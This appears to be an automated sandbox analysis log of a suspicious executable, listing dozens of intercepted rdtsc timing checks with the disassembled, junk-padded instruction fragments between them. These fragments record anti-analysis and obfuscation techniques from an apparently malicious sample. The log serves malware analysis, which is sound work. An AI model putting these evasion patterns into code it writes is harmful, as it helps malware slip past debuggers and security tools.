Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD5100 second address: BD5111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F8AA8B7BBCBh 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD5111 second address: BD511B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8AA8C154C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD511B second address: BD512B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jl 00007F8AA8B7BB86h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDB703 second address: BDB708 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA502 second address: BDA520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F8AA8B7BB94h 0x0000000b popad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA520 second address: BDA525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA525 second address: BDA52B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA52B second address: BDA531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA531 second address: BDA53A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA6AD second address: BDA6B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA6B1 second address: BDA6CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8AA8B7BB86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007F8AA8B7BB8Ch 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA82A second address: BDA837 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F8AA8C154C6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA837 second address: BDA85F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F8AA8B7BB99h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA85F second address: BDA86F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F8AA8C154C6h 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA86F second address: BDA88B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8AA8B7BB93h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA88B second address: BDA88F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA9DA second address: BDA9FB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8AA8B7BB9Ch 0x00000008 jmp 00007F8AA8B7BB96h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDAB48 second address: BDAB61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D3h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE2DB6 second address: BE2DD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8AA8B7BB95h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF15F1 second address: BF15F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF14C0 second address: BF14C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFE394 second address: BFE39F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFE509 second address: BFE50F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFE50F second address: BFE51D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8C154CAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C018D7 second address: C018F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB8Bh 0x00000007 push edi 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d je 00007F8AA8B7BBB1h 0x00000013 js 00007F8AA8B7BB92h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C018F8 second address: C018FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C19F70 second address: C19FB2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8AA8B7BB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F8AA8B7BB98h 0x0000000f jmp 00007F8AA8B7BB94h 0x00000014 popad 0x00000015 push ebx 0x00000016 push edi 0x00000017 pushad 0x00000018 popad 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C19FB2 second address: C19FB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1A3D0 second address: C1A3E0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8AA8B7BB8Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1A3E0 second address: C1A3F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8C154CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1A6A9 second address: C1A6B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C208FE second address: C20903 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C20903 second address: C20909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C204D1 second address: C204F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8C154D3h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F8AA8C154C6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C204F3 second address: C204F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0BB8 second address: 50E0BD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0BD5 second address: 50E0C39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax+00000860h] 0x0000000f jmp 00007F8AA8B7BB8Eh 0x00000014 test eax, eax 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F8AA8B7BB8Eh 0x0000001d adc cx, 8B68h 0x00000022 jmp 00007F8AA8B7BB8Bh 0x00000027 popfd 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F8AA8B7BB96h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100377 second address: 51003AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F8AA8C154D1h 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8AA8C154D8h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51003AD second address: 51003B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51003B3 second address: 51003C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8C154CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51003C4 second address: 51003C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51003C8 second address: 510042C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F8AA8C154CDh 0x0000000f mov edx, dword ptr [ebp+0Ch] 0x00000012 jmp 00007F8AA8C154CEh 0x00000017 mov ecx, dword ptr [ebp+08h] 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov di, F250h 0x00000021 pushfd 0x00000022 jmp 00007F8AA8C154D9h 0x00000027 or si, 42D6h 0x0000002c jmp 00007F8AA8C154D1h 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510042C second address: 5100432 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100432 second address: 5100436 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100459 second address: 5100462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, CCBEh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100462 second address: 5100471 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8C154CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100471 second address: 5100475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F06AA second address: 50F06FB instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8AA8C154D4h 0x00000008 add ax, A858h 0x0000000d jmp 00007F8AA8C154CBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 mov edi, 0D36737Ah 0x0000001d mov ch, bl 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F8AA8C154D9h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F06FB second address: 50F077C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F8AA8B7BB8Eh 0x00000010 xchg eax, ecx 0x00000011 jmp 00007F8AA8B7BB90h 0x00000016 push eax 0x00000017 pushad 0x00000018 mov esi, edi 0x0000001a mov edx, 39AE9D90h 0x0000001f popad 0x00000020 xchg eax, ecx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F8AA8B7BB95h 0x00000028 or si, 3816h 0x0000002d jmp 00007F8AA8B7BB91h 0x00000032 popfd 0x00000033 push ecx 0x00000034 mov di, 5552h 0x00000038 pop ebx 0x00000039 popad 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e push edx 0x0000003f pop esi 0x00000040 mov di, B702h 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F077C second address: 50F07C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F8AA8C154CBh 0x0000000f xchg eax, esi 0x00000010 jmp 00007F8AA8C154D6h 0x00000015 lea eax, dword ptr [ebp-04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F07C4 second address: 50F07C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F07C8 second address: 50F07CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F07CE second address: 50F07DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8B7BB8Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F07DD second address: 50F07F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8AA8C154D1h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F07F9 second address: 50F07FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F07FF second address: 50F0803 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0803 second address: 50F0818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ch, 92h 0x00000010 mov di, 13D0h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0818 second address: 50F081E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F081E second address: 50F0822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F08A4 second address: 50F08A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F08A8 second address: 50F08AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F08AE second address: 50F08B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0918 second address: 50F091C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F091C second address: 50F0920 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0920 second address: 50F0926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0926 second address: 50F096C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, esi 0x0000000b pushad 0x0000000c mov edi, eax 0x0000000e jmp 00007F8AA8C154CAh 0x00000013 popad 0x00000014 pop esi 0x00000015 pushad 0x00000016 push eax 0x00000017 mov dx, 75A0h 0x0000001b pop edi 0x0000001c mov esi, 6C279E15h 0x00000021 popad 0x00000022 leave 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F8AA8C154D7h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F096C second address: 50F0972 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0972 second address: 50F0976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0976 second address: 50F003B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c cmp eax, 00000000h 0x0000000f setne al 0x00000012 xor ebx, ebx 0x00000014 test al, 01h 0x00000016 jne 00007F8AA8B7BB87h 0x00000018 xor eax, eax 0x0000001a sub esp, 08h 0x0000001d mov dword ptr [esp], 00000000h 0x00000024 mov dword ptr [esp+04h], 00000000h 0x0000002c call 00007F8AAD31341Dh 0x00000031 mov edi, edi 0x00000033 jmp 00007F8AA8B7BB96h 0x00000038 xchg eax, ebp 0x00000039 jmp 00007F8AA8B7BB90h 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 call 00007F8AA8B7BB8Ch 0x00000047 pop ecx 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F003B second address: 50F00E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov eax, edx 0x0000000c pushfd 0x0000000d jmp 00007F8AA8C154CDh 0x00000012 and si, 7386h 0x00000017 jmp 00007F8AA8C154D1h 0x0000001c popfd 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 mov esi, 5B2BF5D3h 0x00000026 pushad 0x00000027 movzx eax, dx 0x0000002a movsx edx, si 0x0000002d popad 0x0000002e popad 0x0000002f push FFFFFFFEh 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F8AA8C154D4h 0x00000038 sbb ecx, 74A53888h 0x0000003e jmp 00007F8AA8C154CBh 0x00000043 popfd 0x00000044 popad 0x00000045 push FED019EFh 0x0000004a pushad 0x0000004b mov ebx, 7F5BD3B8h 0x00000050 jmp 00007F8AA8C154D1h 0x00000055 popad 0x00000056 add dword ptr [esp], 76DE8459h 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 mov dh, 8Dh 0x00000062 jmp 00007F8AA8C154D4h 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F00E7 second address: 50F00ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F00ED second address: 50F015C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007F8AA8C154C9h 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F8AA8C154CCh 0x00000017 sbb esi, 7C066FA8h 0x0000001d jmp 00007F8AA8C154CBh 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007F8AA8C154D8h 0x00000029 xor ecx, 2C52E208h 0x0000002f jmp 00007F8AA8C154CBh 0x00000034 popfd 0x00000035 popad 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F015C second address: 50F0160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0160 second address: 50F0166 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0166 second address: 50F016C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F016C second address: 50F0170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0170 second address: 50F0174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0174 second address: 50F0245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d mov dx, BDB2h 0x00000011 popad 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007F8AA8C154D8h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d jmp 00007F8AA8C154CBh 0x00000022 pop eax 0x00000023 jmp 00007F8AA8C154D6h 0x00000028 mov eax, dword ptr fs:[00000000h] 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007F8AA8C154CEh 0x00000035 and ax, 5C58h 0x0000003a jmp 00007F8AA8C154CBh 0x0000003f popfd 0x00000040 pushfd 0x00000041 jmp 00007F8AA8C154D8h 0x00000046 sbb si, E6B8h 0x0000004b jmp 00007F8AA8C154CBh 0x00000050 popfd 0x00000051 popad 0x00000052 nop 0x00000053 jmp 00007F8AA8C154D6h 0x00000058 push eax 0x00000059 jmp 00007F8AA8C154CBh 0x0000005e nop 0x0000005f pushad 0x00000060 mov bx, si 0x00000063 push eax 0x00000064 push edx 0x00000065 mov bx, si 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0245 second address: 50F0266 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 sub esp, 18h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8AA8B7BB95h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0266 second address: 50F026C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F026C second address: 50F0295 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov dh, 47h 0x0000000e pushfd 0x0000000f jmp 00007F8AA8B7BB8Ah 0x00000014 sub ah, 00000008h 0x00000017 jmp 00007F8AA8B7BB8Bh 0x0000001c popfd 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0295 second address: 50F02D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 pushfd 0x00000006 jmp 00007F8AA8C154CBh 0x0000000b sbb ch, 0000004Eh 0x0000000e jmp 00007F8AA8C154D9h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov dword ptr [esp], ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F8AA8C154CDh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F02D8 second address: 50F02DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F02DE second address: 50F02E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
